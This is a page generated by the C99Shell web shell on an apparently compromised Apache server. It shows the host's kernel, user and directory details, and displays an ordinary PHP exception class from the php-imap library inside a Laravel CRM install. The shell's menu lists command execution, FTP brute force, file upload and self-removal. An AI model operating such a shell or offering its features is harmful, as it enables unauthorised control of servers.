!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/webklex/php-imap/src/Exceptions/   drwxrwxrwx
Free 13.19 GB of 57.97 GB (22.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ResponseException.php (2.42 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* File:     ResponseException.php
* Category: Exception
* Author:   M. Goldenbaum
* Created:  19.01.17 22:21
* Updated:  -
*
* Description:
*  -
*/

namespace Webklex\PHPIMAP\Exceptions;

use 
\Exception;
use 
Webklex\PHPIMAP\Connection\Protocols\Response;

/**
 * Class ResponseException
 *
 * @package Webklex\PHPIMAP\Exceptions
 */
class ResponseException extends Exception {

    
/**
     * Make a new ResponseException instance
     * @param Response $response
     * @param false|boolean $debug
     * @param Exception|null $exception
     *
     * @return ResponseException
     */
    
public static function make(Response $responsebool $debug false, ?Exception $exception null): ResponseException {
        
$message "Command failed to process:\n";
        
$message .= "Causes:\n";

        foreach(
$response->getErrors() as $error) {
            
$message .= "\t- $error\n";
        }

        if(!
$response->data()) {
            
$message .= "\t- Empty response\n";
        }

        if (
$debug) {
            
$message .= self::debug_message($response);
        }

        foreach(
$response->getStack() as $_response) {
            
$exception self::make($_response$debug$exception);
        }

        return new 
self($message."Error occurred"0$exception);
    }

    
/**
     * Generate a debug message containing all commands send and responses received
     * @param Response $response
     *
     * @return string
     */
    
protected static function debug_message(Response $response): string {
        
$commands $response->getCommands();
        
$message "Commands send:\n";
        if (
$commands) {
            foreach(
$commands as $command) {
                
$message .= "\t".str_replace("\r\n""\\r\\n"$command)."\n";
            }
        }else{
            
$message .= "\tNo command send!\n";
        }

        
$responses $response->getResponse();
        
$message .= "Responses received:\n";
        if (
$responses) {
            foreach(
$responses as $_response) {
                if (
is_array($_response)) {
                    foreach(
$_response as $value) {
                        
$message .= "\t".str_replace("\r\n""\\r\\n""$value")."\n";
                    }
                }else{
                    
$message .= "\t".str_replace("\r\n""\\r\\n""$_response")."\n";
                }
            }
        }else{
            
$message .= "\tNo responses received!\n";
        }

        return 
$message;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.008 ]--